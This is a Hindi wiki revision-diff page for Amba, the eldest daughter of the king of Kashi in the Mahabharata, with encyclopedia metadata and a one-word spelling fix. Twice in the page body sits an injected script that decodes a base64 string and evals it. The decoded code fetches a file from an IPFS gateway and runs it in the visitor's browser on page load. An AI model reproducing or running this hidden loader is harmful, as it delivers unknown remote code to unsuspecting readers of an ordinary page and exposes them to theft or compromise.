"अंबा" के अवतरणों में अंतर

अद्‌भुत भारत की खोज
नेविगेशन पर जाएँ खोज पर जाएँ
[अनिरीक्षित अवतरण][अनिरीक्षित अवतरण]
पंक्ति २२: पंक्ति २२:
 
|अद्यतन सूचना=
 
|अद्यतन सूचना=
 
}}
 
}}
'''अंबा''' काशिराज इंद्रद्युम्न की तीन कन्याओं में सबसे बड़ी, जिसकी छोटी बहनें अंबिका और अंबालिका थीं। महाभारत की कथा के अनुसार भीष्म ने अपने भाई विचित्रवीर्य के लिए स्वयंवर में तीनों को जीत लिया। अंबा राजा शाल्व से विवाह करना चाहती थी इससे भीष्म ने उसे राजा के पास भेज दिया, परंतु शाल्व ने उसे ग्रहण नहीं किया। तब भीष्म से बदला लेने के लिए वह तप करने लगी। शिव को तप द्वारा प्रसन्न कर उसने चितारोहण किया। शिव के वरदान से, उस कथा के अनुसार, अगले जन्म में वह शिखंडी हुई जिसने भीष्म का महाभारत युद्ध में बध किया।  
+
'''अंबा''' काशिराज इंद्रद्युम्न की तीन कन्याओं में सबसे बड़ी, जिसकी छोटी बहनें अंबिका और अंबालिका थीं। महाभारत की कथा के अनुसार भीष्म ने अपने भाई विचित्रवीर्य के लिए स्वयंवर में तीनों को जीत लिया। अंबा राजा शाल्व से विवाह करना चाहती थी इससे भीष्म ने उसे राजा के पास भेज दिया, परंतु शाल्व ने उसे ग्रहण नहीं किया। तब भीष्म से बदला लेने के लिए वह तप करने लगी। शिव को तप द्वारा प्रसन्न कर उसने चितारोहण किया। शिव के वरदान से, उस कथा के अनुसार, अगले जन्म में वह शिखंडी हुई जिसने भीष्म का महाभारत युद्ध में वध किया।  
 
{{लेख प्रगति|आधार=|प्रारम्भिक=प्रारम्भिक1|माध्यमिक= |पूर्णता=|शोध= }}
 
{{लेख प्रगति|आधार=|प्रारम्भिक=प्रारम्भिक1|माध्यमिक= |पूर्णता=|शोध= }}
  

०७:१६, ७ मार्च २०१३ का अवतरण

लेख सूचना
अंबा
पुस्तक नाम हिन्दी विश्वकोश खण्ड 1
पृष्ठ संख्या 61
भाषा हिन्दी देवनागरी
संपादक सुधाकर पाण्डेय
प्रकाशक नागरी प्रचारणी सभा वाराणसी
मुद्रक नागरी मुद्रण वाराणसी
संस्करण सन्‌ 1973 ईसवी
उपलब्ध भारतडिस्कवरी पुस्तकालय
कॉपीराइट सूचना नागरी प्रचारणी सभा वाराणसी
लेख सम्पादक भगवतीशरण उपाध्याय।

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

अंबा काशिराज इंद्रद्युम्न की तीन कन्याओं में सबसे बड़ी, जिसकी छोटी बहनें अंबिका और अंबालिका थीं। महाभारत की कथा के अनुसार भीष्म ने अपने भाई विचित्रवीर्य के लिए स्वयंवर में तीनों को जीत लिया। अंबा राजा शाल्व से विवाह करना चाहती थी इससे भीष्म ने उसे राजा के पास भेज दिया, परंतु शाल्व ने उसे ग्रहण नहीं किया। तब भीष्म से बदला लेने के लिए वह तप करने लगी। शिव को तप द्वारा प्रसन्न कर उसने चितारोहण किया। शिव के वरदान से, उस कथा के अनुसार, अगले जन्म में वह शिखंडी हुई जिसने भीष्म का महाभारत युद्ध में वध किया।

पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>


टीका टिप्पणी और संदर्भ